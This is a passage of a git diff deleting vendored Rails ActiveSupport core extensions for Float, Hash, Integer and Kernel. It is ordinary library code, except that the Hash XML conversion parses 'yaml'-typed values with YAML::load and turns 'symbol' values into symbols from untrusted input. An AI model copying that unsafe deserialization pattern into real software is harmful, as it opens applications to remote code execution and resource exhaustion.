-          FileUtils.mv(temp_file.path, file_name)
-
-          # Set correct permissions on new file
-          chown(old_stat.uid, old_stat.gid, file_name)
-          chmod(old_stat.mode, file_name)
-        end
-      end
-    end
-  end
-end
diff --git a/vendor/rails/activesupport/lib/active_support/core_ext/float.rb b/vendor/rails/activesupport/lib/active_support/core_ext/float.rb
deleted file mode 100644
index af166aa6..00000000
--- a/vendor/rails/activesupport/lib/active_support/core_ext/float.rb
+++ /dev/null
@@ -1,7 +0,0 @@
-require 'active_support/core_ext/float/rounding'
-require 'active_support/core_ext/float/time'
-
-class Float #:nodoc:
-  include ActiveSupport::CoreExtensions::Float::Rounding
-  include ActiveSupport::CoreExtensions::Float::Time
-end
diff --git a/vendor/rails/activesupport/lib/active_support/core_ext/float/rounding.rb b/vendor/rails/activesupport/lib/active_support/core_ext/float/rounding.rb
deleted file mode 100644
index 062d4668..00000000
--- a/vendor/rails/activesupport/lib/active_support/core_ext/float/rounding.rb
+++ /dev/null
@@ -1,24 +0,0 @@
-module ActiveSupport #:nodoc:
-  module CoreExtensions #:nodoc:
-    module Float #:nodoc:
-      module Rounding
-        def self.included(base) #:nodoc:
-          base.class_eval do
-            alias_method :round_without_precision, :round
-            alias_method :round, :round_with_precision
-          end
-        end
-
-        # Rounds the float with the specified precision.
-        #
-        #   x = 1.337
-        #   x.round    # => 1
-        #   x.round(1) # => 1.3
-        #   x.round(2) # => 1.34
-        def round_with_precision(precision = nil)
-          precision.nil? ? round_without_precision : (self * (10 ** precision)).round / (10 ** precision).to_f
-        end
-      end
-    end
-  end
-end
diff --git a/vendor/rails/activesupport/lib/active_support/core_ext/float/time.rb b/vendor/rails/activesupport/lib/active_support/core_ext/float/time.rb
deleted file mode 100644
index 13f2e0dd..00000000
--- a/vendor/rails/activesupport/lib/active_support/core_ext/float/time.rb
+++ /dev/null
@@ -1,27 +0,0 @@
-module ActiveSupport #:nodoc:
-  module CoreExtensions #:nodoc:
-    module Float #:nodoc:
-      module Time
-        # Deprication helper methods not available as core_ext is loaded first.
-        def years
-          ::ActiveSupport::Deprecation.warn(self.class.deprecated_method_warning(:years, "Fractional years are not respected. Convert value to integer before calling #years."), caller)
-          years_without_deprecation
-        end
-        def months
-          ::ActiveSupport::Deprecation.warn(self.class.deprecated_method_warning(:months, "Fractional months are not respected. Convert value to integer before calling #months."), caller)
-          months_without_deprecation
-        end
-
-        def months_without_deprecation
-          ActiveSupport::Duration.new(self * 30.days, [[:months, self]])
-        end
-        alias :month :months
-      
-        def years_without_deprecation
-          ActiveSupport::Duration.new(self * 365.25.days, [[:years, self]])
-        end
-        alias :year :years
-      end
-    end
-  end
-end
\ No newline at end of file
diff --git a/vendor/rails/activesupport/lib/active_support/core_ext/hash.rb b/vendor/rails/activesupport/lib/active_support/core_ext/hash.rb
deleted file mode 100644
index a6065ab4..00000000
--- a/vendor/rails/activesupport/lib/active_support/core_ext/hash.rb
+++ /dev/null
@@ -1,14 +0,0 @@
-%w(keys indifferent_access deep_merge reverse_merge conversions diff slice except).each do |ext|
-  require "active_support/core_ext/hash/#{ext}"
-end
-
-class Hash #:nodoc:
-  include ActiveSupport::CoreExtensions::Hash::Keys
-  include ActiveSupport::CoreExtensions::Hash::IndifferentAccess
-  include ActiveSupport::CoreExtensions::Hash::DeepMerge
-  include ActiveSupport::CoreExtensions::Hash::ReverseMerge
-  include ActiveSupport::CoreExtensions::Hash::Conversions
-  include ActiveSupport::CoreExtensions::Hash::Diff
-  include ActiveSupport::CoreExtensions::Hash::Slice
-  include ActiveSupport::CoreExtensions::Hash::Except
-end
diff --git a/vendor/rails/activesupport/lib/active_support/core_ext/hash/conversions.rb b/vendor/rails/activesupport/lib/active_support/core_ext/hash/conversions.rb
deleted file mode 100644
index a43763f3..00000000
--- a/vendor/rails/activesupport/lib/active_support/core_ext/hash/conversions.rb
+++ /dev/null
@@ -1,247 +0,0 @@
-require 'date'
-require 'active_support/core_ext/module/attribute_accessors'
-
-module ActiveSupport #:nodoc:
-  # these accessors are here because people using ActiveResource and REST to integrate with other systems
-  # have to be able to control the default behavior of rename_key. dasherize_xml is set to true to emulate
-  # existing behavior. In a future version it should be set to false by default.
-  mattr_accessor :dasherize_xml
-  mattr_accessor :camelize_xml
-  self.dasherize_xml = true
-  self.camelize_xml  = false
-  module CoreExtensions #:nodoc:
-    module Hash #:nodoc:
-      module Conversions
-        # This module exists to decorate files deserialized using Hash.from_xml with
-        # the <tt>original_filename</tt> and <tt>content_type</tt> methods.
-        module FileLike #:nodoc:
-          attr_writer :original_filename, :content_type
-
-          def original_filename
-            @original_filename || 'untitled'
-          end
-
-          def content_type
-            @content_type || 'application/octet-stream'
-          end
-        end
-
-        XML_TYPE_NAMES = {
-          "Symbol"     => "symbol",
-          "Fixnum"     => "integer",
-          "Bignum"     => "integer",
-          "BigDecimal" => "decimal",
-          "Float"      => "float",
-          "TrueClass"  => "boolean",
-          "FalseClass" => "boolean",
-          "Date"       => "date",
-          "DateTime"   => "datetime",
-          "Time"       => "datetime",
-          "ActiveSupport::TimeWithZone" => "datetime"
-        } unless defined?(XML_TYPE_NAMES)
-
-        XML_FORMATTING = {
-          "symbol"   => Proc.new { |symbol| symbol.to_s },
-          "date"     => Proc.new { |date| date.to_s(:db) },
-          "datetime" => Proc.new { |time| time.xmlschema },
-          "binary"   => Proc.new { |binary| ActiveSupport::Base64.encode64(binary) },
-          "yaml"     => Proc.new { |yaml| yaml.to_yaml }
-        } unless defined?(XML_FORMATTING)
-
-        # TODO: use Time.xmlschema instead of Time.parse;
-        #       use regexp instead of Date.parse
-        unless defined?(XML_PARSING)
-          XML_PARSING = {
-            "symbol"       => Proc.new  { |symbol|  symbol.to_sym },
-            "date"         => Proc.new  { |date|    ::Date.parse(date) },
-            "datetime"     => Proc.new  { |time|    ::Time.parse(time).utc rescue ::DateTime.parse(time).utc },
-            "integer"      => Proc.new  { |integer| integer.to_i },
-            "float"        => Proc.new  { |float|   float.to_f },
-            "decimal"      => Proc.new  { |number|  BigDecimal(number) },
-            "boolean"      => Proc.new  { |boolean| %w(1 true).include?(boolean.strip) },
-            "string"       => Proc.new  { |string|  string.to_s },
-            "yaml"         => Proc.new  { |yaml|    YAML::load(yaml) rescue yaml },
-            "base64Binary" => Proc.new  { |bin|     ActiveSupport::Base64.decode64(bin) },
-            "file"         => Proc.new do |file, entity|
-              f = StringIO.new(ActiveSupport::Base64.decode64(file))
-              f.extend(FileLike)
-              f.original_filename = entity['name']
-              f.content_type = entity['content_type']
-              f
-            end
-          }
-
-          XML_PARSING.update(
-            "double"   => XML_PARSING["float"],
-            "dateTime" => XML_PARSING["datetime"]
-          )
-        end
-
-        def self.included(klass)
-          klass.extend(ClassMethods)
-        end
-
-        # Converts a hash into a string suitable for use as a URL query string. An optional <tt>namespace</tt> can be
-        # passed to enclose the param names (see example below).
-        #
-        # ==== Examples
-        #   { :name => 'David', :nationality => 'Danish' }.to_query # => "name=David&nationality=Danish"
-        #
-        #   { :name => 'David', :nationality => 'Danish' }.to_query('user') # => "user%5Bname%5D=David&user%5Bnationality%5D=Danish"
-        def to_query(namespace = nil)
-          collect do |key, value|
-            value.to_query(namespace ? "#{namespace}[#{key}]" : key)
-          end.sort * '&'
-        end
-        
-        alias_method :to_param, :to_query
-
-        def to_xml(options = {})
-          require 'builder' unless defined?(Builder)
-
-          options = options.dup
-          options[:indent] ||= 2
-          options.reverse_merge!({ :builder => Builder::XmlMarkup.new(:indent => options[:indent]),
-                                   :root => "hash" })
-          options[:builder].instruct! unless options.delete(:skip_instruct)
-          root = rename_key(options[:root].to_s, options)
-
-          options[:builder].__send__(:method_missing, root) do
-            each do |key, value|
-              case value
-                when ::Hash
-                  value.to_xml(options.merge({ :root => key, :skip_instruct => true }))
-                when ::Array
-                  value.to_xml(options.merge({ :root => key, :children => key.to_s.singularize, :skip_instruct => true}))
-                when ::Method, ::Proc
-                  # If the Method or Proc takes two arguments, then
-                  # pass the suggested child element name.  This is
-                  # used if the Method or Proc will be operating over
-                  # multiple records and needs to create an containing
-                  # element that will contain the objects being
-                  # serialized.
-                  if 1 == value.arity
-                    value.call(options.merge({ :root => key, :skip_instruct => true }))
-                  else
-                    value.call(options.merge({ :root => key, :skip_instruct => true }), key.to_s.singularize)
-                  end
-                else
-                  if value.respond_to?(:to_xml)
-                    value.to_xml(options.merge({ :root => key, :skip_instruct => true }))
-                  else
-                    type_name = XML_TYPE_NAMES[value.class.name]
-
-                    key = rename_key(key.to_s, options)
-
-                    attributes = options[:skip_types] || value.nil? || type_name.nil? ? { } : { :type => type_name }
-                    if value.nil?
-                      attributes[:nil] = true
-                    end
-
-                    options[:builder].tag!(key,
-                      XML_FORMATTING[type_name] ? XML_FORMATTING[type_name].call(value) : value,
-                      attributes
-                    )
-                  end
-              end
-            end
-            
-            yield options[:builder] if block_given?
-          end
-
-        end
-
-        def rename_key(key, options = {})
-          camelize  = options.has_key?(:camelize) ? options[:camelize]   : ActiveSupport.camelize_xml
-          dasherize = options.has_key?(:dasherize) ? options[:dasherize] : ActiveSupport.dasherize_xml
-          key = key.camelize if camelize
-          key = key.dasherize if dasherize
-          key
-        end
-
-        module ClassMethods
-          def from_xml(xml)
-            typecast_xml_value(unrename_keys(XmlMini.parse(xml)))
-          end
-
-          private
-            def typecast_xml_value(value)
-              case value.class.to_s
-                when 'Hash'
-                  if value['type'] == 'array'
-                    child_key, entries = value.detect { |k,v| k != 'type' }   # child_key is throwaway
-                    if entries.nil? || (c = value['__content__'] && c.blank?)
-                      []
-                    else
-                      case entries.class.to_s   # something weird with classes not matching here.  maybe singleton methods breaking is_a?
-                      when "Array"
-                        entries.collect { |v| typecast_xml_value(v) }
-                      when "Hash"
-                        [typecast_xml_value(entries)]
-                      else
-                        raise "can't typecast #{entries.inspect}"
-                      end
-                    end
-                  elsif value.has_key?("__content__")
-                    content = value["__content__"]
-                    if parser = XML_PARSING[value["type"]]
-                      if parser.arity == 2
-                        XML_PARSING[value["type"]].call(content, value)
-                      else
-                        XML_PARSING[value["type"]].call(content)
-                      end
-                    else
-                      content
-                    end
-                  elsif value['type'] == 'string' && value['nil'] != 'true'
-                    ""
-                  # blank or nil parsed values are represented by nil
-                  elsif value.blank? || value['nil'] == 'true'
-                    nil
-                  # If the type is the only element which makes it then 
-                  # this still makes the value nil, except if type is
-                  # a XML node(where type['value'] is a Hash)
-                  elsif value['type'] && value.size == 1 && !value['type'].is_a?(::Hash)
-                    nil
-                  else
-                    xml_value = value.inject({}) do |h,(k,v)|
-                      h[k] = typecast_xml_value(v)
-                      h
-                    end
-                    
-                    # Turn { :files => { :file => #<StringIO> } into { :files => #<StringIO> } so it is compatible with
-                    # how multipart uploaded files from HTML appear
-                    xml_value["file"].is_a?(StringIO) ? xml_value["file"] : xml_value
-                  end
-                when 'Array'
-                  value.map! { |i| typecast_xml_value(i) }
-                  case value.length
-                    when 0 then nil
-                    when 1 then value.first
-                    else value
-                  end
-                when 'String'
-                  value
-                else
-                  raise "can't typecast #{value.class.name} - #{value.inspect}"
-              end
-            end
-
-            def unrename_keys(params)
-              case params.class.to_s
-                when "Hash"
-                  params.inject({}) do |h,(k,v)|
-                    h[k.to_s.tr("-", "_")] = unrename_keys(v)
-                    h
-                  end
-                when "Array"
-                  params.map { |v| unrename_keys(v) }
-                else
-                  params
-              end
-            end
-        end
-      end
-    end
-  end
-end
diff --git a/vendor/rails/activesupport/lib/active_support/core_ext/hash/deep_merge.rb b/vendor/rails/activesupport/lib/active_support/core_ext/hash/deep_merge.rb
deleted file mode 100644
index f8842ba5..00000000
--- a/vendor/rails/activesupport/lib/active_support/core_ext/hash/deep_merge.rb
+++ /dev/null
@@ -1,23 +0,0 @@
-module ActiveSupport #:nodoc:
-  module CoreExtensions #:nodoc:
-    module Hash #:nodoc:
-      # Allows for deep merging
-      module DeepMerge
-        # Returns a new hash with +self+ and +other_hash+ merged recursively.
-        def deep_merge(other_hash)
-          self.merge(other_hash) do |key, oldval, newval|
-            oldval = oldval.to_hash if oldval.respond_to?(:to_hash)
-            newval = newval.to_hash if newval.respond_to?(:to_hash)
-            oldval.class.to_s == 'Hash' && newval.class.to_s == 'Hash' ? oldval.deep_merge(newval) : newval
-          end
-        end
-
-        # Returns a new hash with +self+ and +other_hash+ merged recursively.
-        # Modifies the receiver in place.
-        def deep_merge!(other_hash)
-          replace(deep_merge(other_hash))
-        end
-      end
-    end
-  end
-end
diff --git a/vendor/rails/activesupport/lib/active_support/core_ext/hash/diff.rb b/vendor/rails/activesupport/lib/active_support/core_ext/hash/diff.rb
deleted file mode 100644
index 6abd6788..00000000
--- a/vendor/rails/activesupport/lib/active_support/core_ext/hash/diff.rb
+++ /dev/null
@@ -1,19 +0,0 @@
-module ActiveSupport #:nodoc:
-  module CoreExtensions #:nodoc:
-    module Hash #:nodoc:
-      module Diff
-        # Returns a hash that represents the difference between two hashes.
-        #
-        # Examples:
-        #
-        #   {1 => 2}.diff(1 => 2)         # => {}
-        #   {1 => 2}.diff(1 => 3)         # => {1 => 2}
-        #   {}.diff(1 => 2)               # => {1 => 2}
-        #   {1 => 2, 3 => 4}.diff(1 => 2) # => {3 => 4}
-        def diff(h2)
-          self.dup.delete_if { |k, v| h2[k] == v }.merge(h2.dup.delete_if { |k, v| self.has_key?(k) })
-        end
-      end
-    end
-  end
-end
diff --git a/vendor/rails/activesupport/lib/active_support/core_ext/hash/except.rb b/vendor/rails/activesupport/lib/active_support/core_ext/hash/except.rb
deleted file mode 100644
index 949976d7..00000000
--- a/vendor/rails/activesupport/lib/active_support/core_ext/hash/except.rb
+++ /dev/null
@@ -1,25 +0,0 @@
-require 'set'
-
-module ActiveSupport #:nodoc:
-  module CoreExtensions #:nodoc:
-    module Hash #:nodoc:
-      # Return a hash that includes everything but the given keys. This is useful for
-      # limiting a set of parameters to everything but a few known toggles:
-      #
-      #   @person.update_attributes(params[:person].except(:admin))
-      module Except
-        # Returns a new hash without the given keys.
-        def except(*keys)
-          dup.except!(*keys)
-        end
-
-        # Replaces the hash without the given keys.
-        def except!(*keys)
-          keys.map! { |key| convert_key(key) } if respond_to?(:convert_key)
-          keys.each { |key| delete(key) }
-          self
-        end
-      end
-    end
-  end
-end
diff --git a/vendor/rails/activesupport/lib/active_support/core_ext/hash/indifferent_access.rb b/vendor/rails/activesupport/lib/active_support/core_ext/hash/indifferent_access.rb
deleted file mode 100644
index 34ba8a00..00000000
--- a/vendor/rails/activesupport/lib/active_support/core_ext/hash/indifferent_access.rb
+++ /dev/null
@@ -1,143 +0,0 @@
-# This class has dubious semantics and we only have it so that
-# people can write params[:key] instead of params['key']
-# and they get the same value for both keys.
-
-class HashWithIndifferentAccess < Hash
-  def initialize(constructor = {})
-    if constructor.is_a?(Hash)
-      super()
-      update(constructor)
-    else
-      super(constructor)
-    end
-  end
-
-  def default(key = nil)
-    if key.is_a?(Symbol) && include?(key = key.to_s)
-      self[key]
-    else
-      super
-    end
-  end
-
-  alias_method :regular_writer, :[]= unless method_defined?(:regular_writer)
-  alias_method :regular_update, :update unless method_defined?(:regular_update)
-
-  # Assigns a new value to the hash:
-  #
-  #   hash = HashWithIndifferentAccess.new
-  #   hash[:key] = "value"
-  #
-  def []=(key, value)
-    regular_writer(convert_key(key), convert_value(value))
-  end
-
-  # Updates the instantized hash with values from the second:
-  # 
-  #   hash_1 = HashWithIndifferentAccess.new
-  #   hash_1[:key] = "value"
-  # 
-  #   hash_2 = HashWithIndifferentAccess.new
-  #   hash_2[:key] = "New Value!"
-  # 
-  #   hash_1.update(hash_2) # => {"key"=>"New Value!"}
-  # 
-  def update(other_hash)
-    other_hash.each_pair { |key, value| regular_writer(convert_key(key), convert_value(value)) }
-    self
-  end
-
-  alias_method :merge!, :update
-
-  # Checks the hash for a key matching the argument passed in:
-  #
-  #   hash = HashWithIndifferentAccess.new
-  #   hash["key"] = "value"
-  #   hash.key? :key  # => true
-  #   hash.key? "key" # => true
-  #
-  def key?(key)
-    super(convert_key(key))
-  end
-
-  alias_method :include?, :key?
-  alias_method :has_key?, :key?
-  alias_method :member?, :key?
-
-  # Fetches the value for the specified key, same as doing hash[key]
-  def fetch(key, *extras)
-    super(convert_key(key), *extras)
-  end
-
-  # Returns an array of the values at the specified indices:
-  #
-  #   hash = HashWithIndifferentAccess.new
-  #   hash[:a] = "x"
-  #   hash[:b] = "y"
-  #   hash.values_at("a", "b") # => ["x", "y"]
-  #
-  def values_at(*indices)
-    indices.collect {|key| self[convert_key(key)]}
-  end
-
-  # Returns an exact copy of the hash.
-  def dup
-    HashWithIndifferentAccess.new(self)
-  end
-
-  # Merges the instantized and the specified hashes together, giving precedence to the values from the second hash
-  # Does not overwrite the existing hash.
-  def merge(hash)
-    self.dup.update(hash)
-  end
-
-  # Performs the opposite of merge, with the keys and values from the first hash taking precedence over the second.
-  # This overloaded definition prevents returning a regular hash, if reverse_merge is called on a HashWithDifferentAccess.
-  def reverse_merge(other_hash)
-    super other_hash.with_indifferent_access
-  end
-
-  # Removes a specified key from the hash.
-  def delete(key)
-    super(convert_key(key))
-  end
-
-  def stringify_keys!; self end
-  def symbolize_keys!; self end
-  def to_options!; self end
-
-  # Convert to a Hash with String keys.
-  def to_hash
-    Hash.new(default).merge(self)
-  end
-
-  protected
-    def convert_key(key)
-      key.kind_of?(Symbol) ? key.to_s : key
-    end
-
-    def convert_value(value)
-      case value
-      when Hash
-        value.with_indifferent_access
-      when Array
-        value.collect { |e| e.is_a?(Hash) ? e.with_indifferent_access : e }
-      else
-        value
-      end
-    end
-end
-
-module ActiveSupport #:nodoc:
-  module CoreExtensions #:nodoc:
-    module Hash #:nodoc:
-      module IndifferentAccess #:nodoc:
-        def with_indifferent_access
-          hash = HashWithIndifferentAccess.new(self)
-          hash.default = self.default
-          hash
-        end
-      end
-    end
-  end
-end
diff --git a/vendor/rails/activesupport/lib/active_support/core_ext/hash/keys.rb b/vendor/rails/activesupport/lib/active_support/core_ext/hash/keys.rb
deleted file mode 100644
index af9d372d..00000000
--- a/vendor/rails/activesupport/lib/active_support/core_ext/hash/keys.rb
+++ /dev/null
@@ -1,52 +0,0 @@
-module ActiveSupport #:nodoc:
-  module CoreExtensions #:nodoc:
-    module Hash #:nodoc:
-      module Keys
-        # Return a new hash with all keys converted to strings.
-        def stringify_keys
-          inject({}) do |options, (key, value)|
-            options[key.to_s] = value
-            options
-          end
-        end
-
-        # Destructively convert all keys to strings.
-        def stringify_keys!
-          keys.each do |key|
-            self[key.to_s] = delete(key)
-          end
-          self
-        end
-
-        # Return a new hash with all keys converted to symbols.
-        def symbolize_keys
-          inject({}) do |options, (key, value)|
-            options[(key.to_sym rescue key) || key] = value
-            options
-          end
-        end
-
-        # Destructively convert all keys to symbols.
-        def symbolize_keys!
-          self.replace(self.symbolize_keys)
-        end
-
-        alias_method :to_options,  :symbolize_keys
-        alias_method :to_options!, :symbolize_keys!
-
-        # Validate all keys in a hash match *valid keys, raising ArgumentError on a mismatch.
-        # Note that keys are NOT treated indifferently, meaning if you use strings for keys but assert symbols
-        # as keys, this will fail.
-        #
-        # ==== Examples
-        #   { :name => "Rob", :years => "28" }.assert_valid_keys(:name, :age) # => raises "ArgumentError: Unknown key(s): years"
-        #   { :name => "Rob", :age => "28" }.assert_valid_keys("name", "age") # => raises "ArgumentError: Unknown key(s): name, age"
-        #   { :name => "Rob", :age => "28" }.assert_valid_keys(:name, :age) # => passes, raises nothing
-        def assert_valid_keys(*valid_keys)
-          unknown_keys = keys - [valid_keys].flatten
-          raise(ArgumentError, "Unknown key(s): #{unknown_keys.join(", ")}") unless unknown_keys.empty?
-        end
-      end
-    end
-  end
-end
diff --git a/vendor/rails/activesupport/lib/active_support/core_ext/hash/reverse_merge.rb b/vendor/rails/activesupport/lib/active_support/core_ext/hash/reverse_merge.rb
deleted file mode 100644
index 546e261c..00000000
--- a/vendor/rails/activesupport/lib/active_support/core_ext/hash/reverse_merge.rb
+++ /dev/null
@@ -1,35 +0,0 @@
-module ActiveSupport #:nodoc:
-  module CoreExtensions #:nodoc:
-    module Hash #:nodoc:
-      # Allows for reverse merging two hashes where the keys in the calling hash take precedence over those
-      # in the <tt>other_hash</tt>. This is particularly useful for initializing an option hash with default values:
-      #
-      #   def setup(options = {})
-      #     options.reverse_merge! :size => 25, :velocity => 10
-      #   end
-      #
-      # Using <tt>merge</tt>, the above example would look as follows:
-      #
-      #   def setup(options = {})
-      #     { :size => 25, :velocity => 10 }.merge(options)
-      #   end
-      #
-      # The default <tt>:size</tt> and <tt>:velocity</tt> are only set if the +options+ hash passed in doesn't already
-      # have the respective key.
-      module ReverseMerge
-        # Performs the opposite of <tt>merge</tt>, with the keys and values from the first hash taking precedence over the second.
-        def reverse_merge(other_hash)
-          other_hash.merge(self)
-        end
-
-        # Performs the opposite of <tt>merge</tt>, with the keys and values from the first hash taking precedence over the second.
-        # Modifies the receiver in place.
-        def reverse_merge!(other_hash)
-          replace(reverse_merge(other_hash))
-        end
-
-        alias_method :reverse_update, :reverse_merge!
-      end
-    end
-  end
-end
diff --git a/vendor/rails/activesupport/lib/active_support/core_ext/hash/slice.rb b/vendor/rails/activesupport/lib/active_support/core_ext/hash/slice.rb
deleted file mode 100644
index d845a6d8..00000000
--- a/vendor/rails/activesupport/lib/active_support/core_ext/hash/slice.rb
+++ /dev/null
@@ -1,40 +0,0 @@
-module ActiveSupport #:nodoc:
-  module CoreExtensions #:nodoc:
-    module Hash #:nodoc:
-      # Slice a hash to include only the given keys. This is useful for
-      # limiting an options hash to valid keys before passing to a method:
-      #
-      #   def search(criteria = {})
-      #     assert_valid_keys(:mass, :velocity, :time)
-      #   end
-      #
-      #   search(options.slice(:mass, :velocity, :time))
-      #
-      # If you have an array of keys you want to limit to, you should splat them:
-      #
-      #   valid_keys = [:mass, :velocity, :time]
-      #   search(options.slice(*valid_keys))
-      module Slice
-        # Returns a new hash with only the given keys.
-        def slice(*keys)
-          keys = keys.map! { |key| convert_key(key) } if respond_to?(:convert_key)
-          hash = self.class.new
-          keys.each { |k| hash[k] = self[k] if has_key?(k) }
-          hash
-        end
-
-        # Replaces the hash with only the given keys.
-        # Returns a hash contained the removed key/value pairs
-        #   {:a => 1, :b => 2, :c => 3, :d => 4}.slice!(:a, :b) # => {:c => 3, :d =>4}
-        def slice!(*keys)
-          keys = keys.map! { |key| convert_key(key) } if respond_to?(:convert_key)
-          omit = slice(*self.keys - keys)
-          hash = slice(*keys)
-          replace(hash)
-          omit
-        end
-      end
-    end
-  end
-end
-
diff --git a/vendor/rails/activesupport/lib/active_support/core_ext/integer.rb b/vendor/rails/activesupport/lib/active_support/core_ext/integer.rb
deleted file mode 100644
index 18a7a402..00000000
--- a/vendor/rails/activesupport/lib/active_support/core_ext/integer.rb
+++ /dev/null
@@ -1,9 +0,0 @@
-require 'active_support/core_ext/integer/even_odd'
-require 'active_support/core_ext/integer/inflections'
-require 'active_support/core_ext/integer/time'
-
-class Integer #:nodoc:
-  include ActiveSupport::CoreExtensions::Integer::EvenOdd
-  include ActiveSupport::CoreExtensions::Integer::Inflections
-  include ActiveSupport::CoreExtensions::Integer::Time
-end
diff --git a/vendor/rails/activesupport/lib/active_support/core_ext/integer/even_odd.rb b/vendor/rails/activesupport/lib/active_support/core_ext/integer/even_odd.rb
deleted file mode 100644
index b1d1e280..00000000
--- a/vendor/rails/activesupport/lib/active_support/core_ext/integer/even_odd.rb
+++ /dev/null
@@ -1,29 +0,0 @@
-module ActiveSupport #:nodoc:
-  module CoreExtensions #:nodoc:
-    module Integer #:nodoc:
-      # For checking if a fixnum is even or odd.
-      #
-      #   2.even?  # => true
-      #   2.odd?   # => false
-      #   1.even?  # => false
-      #   1.odd?   # => true
-      #   0.even?  # => true
-      #   0.odd?   # => false
-      #   -1.even? # => false
-      #   -1.odd?  # => true
-      module EvenOdd
-        def multiple_of?(number)
-          self % number == 0
-        end
-
-        def even?
-          multiple_of? 2
-        end if RUBY_VERSION < '1.9'
-
-        def odd?
-          !even?
-        end if RUBY_VERSION < '1.9'
-      end
-    end
-  end
-end
diff --git a/vendor/rails/activesupport/lib/active_support/core_ext/integer/inflections.rb b/vendor/rails/activesupport/lib/active_support/core_ext/integer/inflections.rb
deleted file mode 100644
index 804702be..00000000
--- a/vendor/rails/activesupport/lib/active_support/core_ext/integer/inflections.rb
+++ /dev/null
@@ -1,20 +0,0 @@
-require 'active_support/inflector'
-
-module ActiveSupport #:nodoc:
-  module CoreExtensions #:nodoc:
-    module Integer #:nodoc:
-      module Inflections
-        # Ordinalize turns a number into an ordinal string used to denote the
-        # position in an ordered sequence such as 1st, 2nd, 3rd, 4th.
-        #
-        #   1.ordinalize    # => "1st"
-        #   2.ordinalize    # => "2nd"
-        #   1002.ordinalize # => "1002nd"
-        #   1003.ordinalize # => "1003rd"
-        def ordinalize
-          Inflector.ordinalize(self)
-        end
-      end
-    end
-  end
-end
diff --git a/vendor/rails/activesupport/lib/active_support/core_ext/integer/time.rb b/vendor/rails/activesupport/lib/active_support/core_ext/integer/time.rb
deleted file mode 100644
index 356e145b..00000000
--- a/vendor/rails/activesupport/lib/active_support/core_ext/integer/time.rb
+++ /dev/null
@@ -1,45 +0,0 @@
-module ActiveSupport #:nodoc:
-  module CoreExtensions #:nodoc:
-    module Integer #:nodoc:
-      # Enables the use of time calculations and declarations, like 45.minutes + 2.hours + 4.years.
-      #
-      # These methods use Time#advance for precise date calculations when using from_now, ago, etc. 
-      # as well as adding or subtracting their results from a Time object. For example:
-      #
-      #   # equivalent to Time.now.advance(:months => 1)
-      #   1.month.from_now
-      #
-      #   # equivalent to Time.now.advance(:years => 2)
-      #   2.years.from_now
-      #
-      #   # equivalent to Time.now.advance(:months => 4, :years => 5)
-      #   (4.months + 5.years).from_now
-      # 
-      # While these methods provide precise calculation when used as in the examples above, care
-      # should be taken to note that this is not true if the result of `months', `years', etc is
-      # converted before use:
-      #
-      #   # equivalent to 30.days.to_i.from_now
-      #   1.month.to_i.from_now
-      #
-      #   # equivalent to 365.25.days.to_f.from_now
-      #   1.year.to_f.from_now
-      #
-      # In such cases, Ruby's core
-      # Date[http://stdlib.rubyonrails.org/libdoc/date/rdoc/index.html] and
-      # Time[http://stdlib.rubyonrails.org/libdoc/time/rdoc/index.html] should be used for precision
-      # date and time arithmetic
-      module Time        
-        def months
-          ActiveSupport::Duration.new(self * 30.days, [[:months, self]])
-        end
-        alias :month :months
-
-        def years
-          ActiveSupport::Duration.new(self * 365.25.days, [[:years, self]])
-        end
-        alias :year :years
-      end
-    end
-  end
-end
diff --git a/vendor/rails/activesupport/lib/active_support/core_ext/kernel.rb b/vendor/rails/activesupport/lib/active_support/core_ext/kernel.rb
deleted file mode 100644
index 1922d804..00000000
--- a/vendor/rails/activesupport/lib/active_support/core_ext/kernel.rb
+++ /dev/null
@@ -1,5 +0,0 @@
-require 'active_support/core_ext/kernel/daemonizing'
-require 'active_support/core_ext/kernel/reporting'
-require 'active_support/core_ext/kernel/agnostics'
-require 'active_support/core_ext/kernel/requires'
-require 'active_support/core_ext/kernel/debugger'
diff --git a/vendor/rails/activesupport/lib/active_support/core_ext/kernel/agnostics.rb b/vendor/rails/activesupport/lib/active_support/core_ext/kernel/agnostics.rb
deleted file mode 100644
index c0cb4fb4..00000000
--- a/vendor/rails/activesupport/lib/active_support/core_ext/kernel/agnostics.rb
+++ /dev/null
@@ -1,11 +0,0 @@
-class Object
-  # Makes backticks behave (somewhat more) similarly on all platforms.
-  # On win32 `nonexistent_command` raises Errno::ENOENT; on Unix, the
-  # spawned shell prints a message to stderr and sets $?.  We emulate
-  # Unix on the former but not the latter.
-  def `(command) #:nodoc:
-    super
-  rescue Errno::ENOENT => e
-    STDERR.puts "#$0: #{e}"
-  end
-end
\ No newline at end of file
diff --git a/vendor/rails/activesupport/lib/active_support/core_ext/kernel/daemonizing.rb b/vendor/rails/activesupport/lib/active_support/core_ext/kernel/daemonizing.rb
deleted file mode 100644
index ed9d1f9b..00000000
--- a/vendor/rails/activesupport/lib/active_support/core_ext/kernel/daemonizing.rb
+++ /dev/null
@@ -1,7 +0,0 @@
-module Kernel
-  # Turns the current script into a daemon process that detaches from the console.
-  # It can be shut down with a TERM signal.
-  def daemonize
-    Process.daemon
-  end
-end
diff --git a/vendor/rails/activesupport/lib/active_support/core_ext/kernel/debugger.rb b/vendor/rails/activesupport/lib/active_support/core_ext/kernel/debugger.rb
deleted file mode 100644
index 59e03e3d..00000000
--- a/vendor/rails/activesupport/lib/active_support/core_ext/kernel/debugger.rb
+++ /dev/null
@@ -1,16 +0,0 @@
-module Kernel
-  unless respond_to?(:debugger)
-    # Starts a debugging session if ruby-debug has been loaded (call script/server --debugger to do load it).
-    def debugger
-      message = "\n***** Debugger requested, but was not available: Start server with --debugger to enable *****\n"
-      defined?(Rails) ? Rails.logger.info(message) : $stderr.puts(message)
-    end
-  end
-
-  undef :breakpoint if respond_to?(:breakpoint)
-  def breakpoint
-    message = "\n***** The 'breakpoint' command has been renamed 'debugger' -- please change *****\n"
-    defined?(Rails) ? Rails.logger.info(message) : $stderr.puts(message)
-    debugger
-  end
-end
diff --git a/vendor/rails/activesupport/lib/active_support/core_ext/kernel/reporting.rb b/vendor/rails/activesupport/lib/active_support/core_ext/kernel/reporting.rb
deleted file mode 100644
index e2d5186d..00000000
--- a/vendor/rails/activesupport/lib/active_support/core_ext/kernel/reporting.rb
+++ /dev/null
@@ -1,59 +0,0 @@
-module Kernel
-  # Sets $VERBOSE to nil for the duration of the block and back to its original value afterwards.
-  #
-  #   silence_warnings do
-  #     value = noisy_call # no warning voiced
-  #   end
-  #
-  #   noisy_call # warning voiced
-  def silence_warnings
-    old_verbose, $VERBOSE = $VERBOSE, nil
-    yield
-  ensure
